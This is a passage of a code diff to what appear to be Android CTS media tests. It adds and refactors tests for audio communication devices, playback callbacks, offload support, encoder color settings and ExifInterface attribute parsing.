+                AudioAttributes.usageToString(AudioAttributes.USAGE_VEHICLE_STATUS));
+        assertEquals("USAGE_ANNOUNCEMENT",
+                AudioAttributes.usageToString(AudioAttributes.USAGE_ANNOUNCEMENT));
+    }
+
+    public void testUsageToString_unknownUsage() {
+        assertEquals("unknown usage -1", AudioAttributes.usageToString(-1));
+    }
+
     // -------------------------------------------------------------------
     // Reflection helpers for accessing system usage methods and fields
     // -------------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
new file mode 100644
index 0000000..e5da923
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.concurrent.Executors;
+
+public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioCommunicationDeviceTest";
+
+    private AudioManager mAudioManager;
+
+    private static final int[] VALID_COMMUNICATION_DEVICE_TYPES = {
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
+        AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
+        AudioDeviceInfo.TYPE_HEARING_AID,
+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_BLE_SPEAKER,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_AUX_LINE
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+    }
+
+    private boolean isValidCommunicationDevice(AudioDeviceInfo device) {
+        for (int type : VALID_COMMUNICATION_DEVICE_TYPES) {
+            if (device.getType() == type) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public void testSetValidDeviceForCommunication() {
+        if (!isValidPlatform("testSetValidDeviceForCommunication")) return;
+
+        AudioDeviceInfo commDevice = null;
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (!isValidCommunicationDevice(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setDeviceForCommunication(device);
+                try {
+                    commDevice = mAudioManager.getDeviceForCommunication();
+                } catch (Exception e) {
+                    fail("getDeviceForCommunication failed with exception: " + e);
+                }
+                if (commDevice == null || commDevice.getType() != device.getType()) {
+                    fail("setDeviceForCommunication failed, expected device: "
+                            + device.getType() + " but got: "
+                            + ((commDevice == null)
+                                ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
+                }
+            } catch (Exception e) {
+                fail("setDeviceForCommunication failed with exception: " + e);
+            }
+        }
+
+        try {
+            mAudioManager.clearDeviceForCommunication();
+        } catch (Exception e) {
+            fail("clearDeviceForCommunication failed with exception: " + e);
+        }
+        try {
+            commDevice = mAudioManager.getDeviceForCommunication();
+        } catch (Exception e) {
+            fail("getDeviceForCommunication failed with exception: " + e);
+        }
+        if (commDevice != null) {
+            fail("clearDeviceForCommunication failed, expected device null but got: "
+                    + commDevice.getType());
+        }
+    }
+
+    public void testSetInvalidDeviceForCommunication() {
+        if (!isValidPlatform("testSetInvalidDeviceForCommunication")) return;
+
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (isValidCommunicationDevice(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setDeviceForCommunication(device);
+                fail("setDeviceForCommunication should fail for device: " + device.getType());
+            } catch (Exception e) {
+            }
+        }
+    }
+
+    static class MyOnCommunicationDeviceChangedListener implements
+            AudioManager.OnCommunicationDeviceChangedListener {
+
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private boolean mCalled;
+        @GuardedBy("mCbLock")
+        private AudioDeviceInfo mDevice;
+
+        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = false;
+                mDevice = null;
+            }
+        }
+
+        AudioDeviceInfo waitForDeviceUpdate() {
+            synchronized (mCbLock) {
+                while (!mCalled) {
+                    try {
+                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mDevice;
+            }
+        }
+
+        AudioDeviceInfo getDevice() {
+            synchronized (mCbLock) {
+                return mDevice;
+            }
+        }
+
+        MyOnCommunicationDeviceChangedListener() {
+            reset();
+        }
+
+        @Override
+        public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
+            synchronized (mCbLock) {
+                mCalled = true;
+                mDevice = device;
+                mCbLock.notifyAll();
+            }
+        }
+    }
+
+    public void testDeviceForCommunicationListener() {
+        if (!isValidPlatform("testDeviceForCommunicationListener")) return;
+
+        MyOnCommunicationDeviceChangedListener listener =
+                new MyOnCommunicationDeviceChangedListener();
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
+            fail("addOnCommunicationDeviceChangedListener should fail with null executor");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                    Executors.newSingleThreadExecutor(), null);
+            fail("addOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(null);
+            fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        } catch (Exception e) {
+            fail("addOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo originalDevice = mAudioManager.getDeviceForCommunication();
+        AudioDeviceInfo requestedDevice = null;
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo device : devices) {
+            if (!isValidCommunicationDevice(device)) {
+                continue;
+            }
+            if (originalDevice == null || device.getType() != originalDevice.getType()) {
+                requestedDevice = device;
+                break;
+            }
+        }
+        if (requestedDevice == null) {
+            Log.i(TAG,"Skipping end of testDeviceForCommunicationListener test,"
+                    +" no valid decice to test");
+            return;
+        }
+        mAudioManager.setDeviceForCommunication(requestedDevice);
+        AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
+        if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
+            fail("listener and setter device mismatch, expected device: "
+                    + requestedDevice.getType() + " but got: "
+                    + ((listenerDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+        }
+        AudioDeviceInfo getterDevice = mAudioManager.getDeviceForCommunication();
+        if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
+            fail("listener and getter device mismatch, expected device: "
+                    + listenerDevice.getType() + " but got: "
+                    + ((getterDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
+        }
+
+        listener.reset();
+
+        if (originalDevice == null) {
+            mAudioManager.clearDeviceForCommunication();
+        } else {
+            mAudioManager.setDeviceForCommunication(originalDevice);
+        }
+        listenerDevice = listener.waitForDeviceUpdate();
+        if (originalDevice == null) {
+            if (listenerDevice != null) {
+                fail("setDeviceForCommunication failed, expected null device but got: "
+                        + listenerDevice.getType());
+            }
+        } else {
+            if (listenerDevice == null || listenerDevice.getType() != originalDevice.getType()) {
+                fail("communication device listener failed on clear, expected device: "
+                        + originalDevice.getType() + " but got: "
+                        + ((listenerDevice == null)
+                            ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+            }
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
+        } catch (Exception e) {
+            fail("removeOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+    }
+
+    private boolean isValidPlatform(String testName) {
+        if (!(getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) &&
+                !getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY))) {
+            Log.i(TAG,"Skipping test " + testName + " : device has no audio output or is a TV.");
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 50c63f2..d31c2fa 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -56,6 +56,7 @@
 import android.media.AudioDeviceAttributes;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
+import android.media.AudioProfile;
 import android.media.MediaPlayer;
 import android.media.MediaRecorder;
 import android.media.MicrophoneInfo;
@@ -77,10 +78,14 @@
 import com.android.internal.annotations.GuardedBy;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
 
 @NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
@@ -1780,6 +1785,37 @@
         mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
     }
 
+    public void testGetDevices() {
+        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (AudioDeviceInfo device : devices) {
+            HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+                    .collect(Collectors.toCollection(HashSet::new));
+            HashSet<Integer> formatsFromProfile = new HashSet<>();
+            HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+            HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+            HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+            for (AudioProfile profile : device.getAudioProfiles()) {
+                formatsFromProfile.add(profile.getFormat());
+                channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+                        .collect(Collectors.toList()));
+                channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+                        .boxed().collect(Collectors.toList()));
+                sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+                        .collect(Collectors.toList()));
+            }
+            assertEquals(formats, formatsFromProfile);
+            assertEquals(channelMasks, channelMasksFromProfile);
+            assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+            assertEquals(sampleRates, sampleRatesFromProfile);
+        }
+    }
+
     private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
         assertStreamVolumeEquals(stream, expectedVolume,
                 "Unexpected stream volume for stream=" + stream);
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
index b67ec58..472763c 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackCaptureTest.java
@@ -284,7 +284,6 @@
             AudioAttributes.USAGE_ASSISTANCE_SONIFICATION,
             AudioAttributes.USAGE_ASSISTANT,
             AudioAttributes.USAGE_NOTIFICATION,
-            AudioAttributes.USAGE_VOICE_COMMUNICATION
     };
 
     @Presubmit
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index 04023fd..1697668 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -192,35 +192,35 @@
             h = null;
         }
 
-        try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
 
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        MyAudioPlaybackCallback registeredCallback = null;
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+
 
             mMp = MediaPlayer.create(getContext(),
                     Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
+            registeredCallback = callback;
 
             // query how many active players before starting the MediaPlayer
             List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+                    nbActivePlayersBeforeStart + 1, aa);
 
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
 
             // stopping playback: callback is called with no match
             callback.reset();
@@ -234,6 +234,7 @@
 
             // unregister callback and start playback again
             am.unregisterAudioPlaybackCallback(callback);
+            registeredCallback = null;
             Thread.sleep(TEST_TIMING_TOLERANCE_MS);
             callback.reset();
             mMp.start();
@@ -246,6 +247,9 @@
                     (AudioManager.AudioPlaybackCallback) callback;
             apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
         } finally {
+            if (registeredCallback != null) {
+                am.unregisterAudioPlaybackCallback(registeredCallback);
+            }
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -257,35 +261,31 @@
         handlerThread.start();
         final Handler h = new Handler(handlerThread.getLooper());
 
-        try {
-            AudioManager am = new AudioManager(getContext());
-            assertNotNull("Could not create AudioManager", am);
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
 
-            final AudioAttributes aa = (new AudioAttributes.Builder())
-                    .setUsage(TEST_USAGE)
-                    .setContentType(TEST_CONTENT)
-                    .build();
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
 
             mMp = MediaPlayer.create(getContext(),
                     Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
                     am.generateAudioSessionId());
 
-            MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
             am.registerAudioPlaybackCallback(callback, h /*handler*/);
 
             // query how many active players before starting the MediaPlayer
-            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
             final int nbActivePlayersBeforeStart = configs.size();
 
-            mMp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            assertEquals("onPlaybackConfigChanged call count not expected",
-                    1/*expected*/, callback.getCbInvocationNumber()); //only one start call
-            assertEquals("number of active players not expected",
-                    // one more player active
-                    nbActivePlayersBeforeStart + 1/*expected*/, callback.getNbConfigs());
-            assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+                    nbActivePlayersBeforeStart + 1, aa);
 
             // release the player without stopping or pausing it first
             callback.reset();
@@ -297,8 +297,8 @@
             assertEquals("number of active players not expected after release",
                     nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
 
-            am.unregisterAudioPlaybackCallback(callback);
         } finally {
+            am.unregisterAudioPlaybackCallback(callback);
             if (h != null) {
                 h.getLooper().quit();
             }
@@ -310,6 +310,7 @@
 
         AudioManager am = new AudioManager(getContext());
         assertNotNull("Could not create AudioManager", am);
+
         MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
         am.registerAudioPlaybackCallback(callback, null /*handler*/);
 
@@ -370,6 +371,63 @@
                 nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
     }
 
+    public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
+        if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp = MediaPlayer.create(getContext(),
+                    Uri.fromFile(new File(mInpPrefix + "sine1khzs40dblong.mp3")), null, aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback, 1,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+            assertTrue("Active player, device not found",
+                    hasDevice(callback.getConfigs(), aa));
+
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private void assertPlayerStartAndCallbackWithPlayerAttributes(
+            MediaPlayer mp, MyAudioPlaybackCallback callback,
+            int expectedCallbackCount, int activePlayerCount, AudioAttributes aa) throws Exception{
+        mp.start();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        assertEquals("onPlaybackConfigChanged call count not expected",
+                expectedCallbackCount, callback.getCbInvocationNumber()); //only one start call
+        assertEquals("number of active players not expected",
+                // one more player active
+                activePlayerCount/*expected*/, callback.getNbConfigs());
+        assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+    }
+
     private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
         private final Object mCbLock = new Object();
         @GuardedBy("mCbLock")
@@ -426,6 +484,19 @@
         return false;
     }
 
+    private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                    && apc.getAudioAttributes().getUsage() == aa.getUsage()
+                    && apc.getAudioAttributes().getFlags() == aa.getFlags()
+                    && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+                    == aa.getAllowedCapturePolicy() && apc.getAudioDeviceInfo() != null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     /** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
     @CapturePolicy
     private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index d836079..100e24e 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -71,6 +71,34 @@
                 getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
     }
 
+    public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+                    DEFAULT_ATTR);
+            fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+            fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+        final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+        assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+            offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+    }
 
     public void testMP3AudioTrackOffload() throws Exception {
         testAudioTrackOffload(R.raw.sine1khzs40dblong,
diff --git a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
index 196f235..eb048f7 100755
--- a/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeDecodeTest.java
@@ -500,6 +500,12 @@
             format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
             format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
             format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+
+            // Set color parameters
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_LINEAR);
+
             if (VERBOSE) Log.d(TAG, "format: " + format);
 
             // Create the output surface.
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 64d1254..c969515 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,7 +79,7 @@
     private static final boolean DBG = false;
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
 
-    private static final long DEFAULT_WAIT_TIMEOUT_MS = 5000;
+    private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
     private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
 
     private static final int COLOR_RED =  makeColor(100, 0, 0);
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 7b2f412..c67222e 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -840,11 +842,34 @@
         String makeValueWithTwoSlashes = "Make/Test/Test";
         exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
         assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // When a value has a comma, it should be parsed as a string if any of the values before or
+        // after the comma is a string.
+        int defaultValue = -1;
+        String makeValueWithCommaType1 = "Make,2";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+        assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+        String makeValueWithCommaType2 = "2,Make";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+        assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
 
         // 3. Unsigned short format tag
         String isoSpeedRatings = "800";
         exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
         assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+        // When a value has multiple components, all of them should be of the format that the tag
+        // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+        // only allows short values.
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType1 = "1,65536";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType2 = "65536,1";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
 
         // 4. Unsigned long format tag
         String validImageWidthValue = "65536"; // max unsigned short value + 1
@@ -872,6 +897,46 @@
         imageFile.delete();
     }
 
+    public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+        // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.getAttribute(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+        int defaultValue = -1;
+        try {
+            exif.getAttributeInt(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeDouble(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeBytes(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+    }
+
     private static File clone(File original) throws IOException {
         final File cloned =
                 File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 95f1426..7f1c0d6 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -531,7 +531,7 @@
                 }
             }
 
-            heifWriter.stop(3000);
+            heifWriter.stop(5000);
             // The test sets the primary index to the last image.
             // However, if we're testing early abort, the last image will not be
             // present and the muxer is supposed to set it to 0 by default.
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index eab4b09..0fc6a5f 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -595,12 +595,20 @@
         }
     }
 
-    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash() {
+    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+            throws Exception {
         MediaController.TransportControls transportControls = mController.getTransportControls();
 
-        // These calls should not crash. Null is accepted on purpose.
-        transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
